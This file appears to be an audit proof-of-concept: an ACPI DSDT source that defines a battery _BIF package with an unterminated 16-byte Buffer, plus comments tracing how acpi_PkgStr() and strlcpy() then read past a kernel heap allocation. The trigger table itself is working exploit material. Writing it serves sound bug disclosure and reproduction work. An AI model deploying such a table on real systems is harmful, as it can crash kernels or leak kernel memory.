// trigger.dsl — DF-5180 documentation-only trigger
//
// A malicious/buggy DSDT that makes a battery's _BIF package carry a
// Buffer element with no 0x00 byte. acpi_cmbat.c:374-380 feeds each
// element to acpi_PkgStr(); the ACPI_TYPE_BUFFER branch
// (sys/dev/acpica/acpi_package.c:86-89) sets ptr/length without a
// terminator, and strlcpy() (sys/libkern/strlcpy.c:59-60) scans past
// the end of the ACPICA-allocated buffer looking for a NUL.
//
// Length 16 is 8-aligned: if this is the last data region in the
// externalized package, the buffer content ends exactly at the end of
// the kmalloc'd result blob, so the first scanned byte is already one
// byte past the heap allocation.

DefinitionBlock ("", "DSDT", 2, "EVIL", "BAT ", 0x00000001)
{
    Device (BAT0)
    {
        Name (_HID, EISAID ("PNP0C0A"))
        Name (_BIF, Package (0x09)
        {
            0x0000DEAD,             // PowerUnit
            0x0000BB80,             // DesignCapacity
            0x0000B4C0,             // LastFullChargeCapacity
            0x00000001,             // BatteryTechnology
            0x0000ABCD,             // DesignVoltage
            0x00000FA0,             // DesignCapacityWarning
            0x000001F4,             // DesignCapacityLow
            Buffer (0x10)           // "ModelNumber" as a raw Buffer
            {
                0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,   // no NUL
                0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42    // anywhere
            },
            0x00                    // SerialNumber placeholder
        })
    }
}

// Loading this table (or EC-sourced data of the same shape) on a system
// where acpi_cmbat evaluates _BIF drives acpi_PkgStr() into the
// truncation-scan path; the heap OOB read starts at Buffer.Pointer[16].
// Not runnable on the audit guest: its QEMU DSDT is benign and loading
// custom tables requires rebuilding the guest firmware configuration.